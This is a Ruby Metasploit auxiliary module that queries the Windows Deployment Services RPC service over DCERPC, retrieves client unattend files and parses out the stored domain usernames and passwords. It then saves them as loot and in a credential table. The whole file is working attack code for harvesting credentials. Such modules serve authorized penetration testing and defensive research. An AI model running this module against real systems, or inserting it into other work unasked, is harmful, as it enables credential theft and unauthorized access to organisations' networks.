##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::DCERPC
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  DCERPCPacket   	= Rex::Proto::DCERPC::Packet
  DCERPCClient   	= Rex::Proto::DCERPC::Client
  DCERPCResponse 	= Rex::Proto::DCERPC::Response
  DCERPCUUID     	= Rex::Proto::DCERPC::UUID
  WDS_CONST 		  = Rex::Proto::DCERPC::WDSCP::Constants

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Windows Deployment Services Unattend Retrieval',
      'Description'    => %q{
        This module retrieves the client unattend file from Windows
        Deployment Services RPC service and parses out the stored credentials.
        Tested against Windows 2008 R2 x64 and Windows 2003 x86.
      },
      'Author'         => [ 'Ben Campbell' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
          [ 'URL', 'http://rewtdance.blogspot.com/2012/11/windows-deployment-services-clear-text.html']
        ],
      ))

    register_options(
      [
        Opt::RPORT(5040),
      ])

    deregister_options('CHOST', 'CPORT', 'SSL', 'SSLVersion')

    register_advanced_options(
      [
        OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
      ])
  end

  def run_host(ip)
    begin
      query_host(ip)
    rescue ::Interrupt
      raise $!
    rescue ::Rex::ConnectionError => e
      print_error("#{ip}:#{rport} Connection Error: #{e}")
    ensure
      # Ensure socket is pulled down afterwards
      self.dcerpc.socket.close rescue nil
      self.dcerpc = nil
      self.handle = nil
    end
  end

  def query_host(rhost)
    # Create a handler with our UUID and Transfer Syntax

    self.handle = Rex::Proto::DCERPC::Handle.new(
      [
        WDS_CONST::WDSCP_RPC_UUID,
        '1.0',
      ],
      'ncacn_ip_tcp',
      rhost,
      [datastore['RPORT']]
    )

    print_status("Binding to #{handle} ...")

    self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
    vprint_good("Bound to #{handle}")

    report_service(
      :host => rhost,
      :port => datastore['RPORT'],
      :proto => 'tcp',
      :name => "dcerpc",
      :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
    )

    table = Rex::Text::Table.new({
      'Header' => 'Windows Deployment Services',
      'Indent' => 1,
      'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
    })

    creds_found = false

    WDS_CONST::ARCHITECTURE.each do |architecture|
      if architecture[0] == :ARM && !datastore['ENUM_ARM']
        vprint_status "Skipping #{architecture[0]} architecture due to adv option"
        next
      end

      begin
        result = request_client_unattend(architecture)
      rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
        vprint_error(e.to_s)
        print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
        return nil
      end

      unless result.nil?
        loot_unattend(architecture[0], result)
        results = parse_client_unattend(result)

        results.each do |result|
          unless result.empty?
            if result['username'] and result['password']
              print_good("Retrived #{result['type']} credentials for #{architecture[0]}")
              creds_found = true
              domain = ""
              domain = result['domain'] if result['domain']
              report_creds(domain, result['username'], result['password'])
              table << [architecture[0], result['type'], domain, result['username'], result['password']]
            end
          end
        end
      end
    end

    if creds_found
      print_line
      table.print
      print_line
    else
      print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
    end
  end

  def request_client_unattend(architecture)
    # Construct WDS Control Protocol Message
    packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)

    guid = Rex::Text.rand_text_hex(32)
    packet.add_var(	WDS_CONST::VAR_NAME_CLIENT_GUID, guid)

    # Not sure what this padding is for...
    mac = [0x30].pack('C') * 20
    mac << Rex::Text.rand_text_hex(12)
    packet.add_var(	WDS_CONST::VAR_NAME_CLIENT_MAC, mac)

    arch = [architecture[1]].pack('C')
    packet.add_var(	WDS_CONST::VAR_NAME_ARCHITECTURE, arch)

    version = [1].pack('V')
    packet.add_var(	WDS_CONST::VAR_NAME_VERSION, version)

    wdsc_packet = packet.create

    vprint_status("Sending #{architecture[0]} Client Unattend request ...")
    dcerpc.call(0, wdsc_packet, false)
    timeout = datastore['DCERPC::ReadTimeout']
    response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout)

    if (response and response.stub_data)
      vprint_status('Received response ...')
      data = response.stub_data

      # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
      op_error_code = data.unpack('v*')[19]
      if op_error_code == 0
        if data.length < 277
          vprint_error("No Unattend received for #{architecture[0]} architecture")
          return nil
        else
          vprint_status("Received #{architecture[0]} unattend file ...")
          return extract_unattend(data)
        end
      else
        vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
        return nil
      end
    end
  end

  def extract_unattend(data)
    start = data.index('<?xml')
    finish = data.index('</unattend>')
    if start and finish
      finish += 10
      return data[start..finish]
    else
      print_error("Incomplete transmission or malformed unattend file.")
      return nil
    end
  end

  def parse_client_unattend(data)
    begin
      xml = REXML::Document.new(data)
      return Rex::Parser::Unattend.parse(xml).flatten
    rescue REXML::ParseException => e
      print_error("Invalid XML format")
      vprint_line(e.message)
      return nil
     end
  end

  def loot_unattend(archi, data)
    return if data.empty?
    p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
    print_good("Raw version of #{archi} saved as: #{p}")
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def report_creds(domain, user, pass)
    report_cred(
      ip: rhost,
      port: 4050,
      service_name: 'dcerpc',
      user: "#{domain}\\#{user}",
      password: pass,
      proof: domain
    )
  end
end
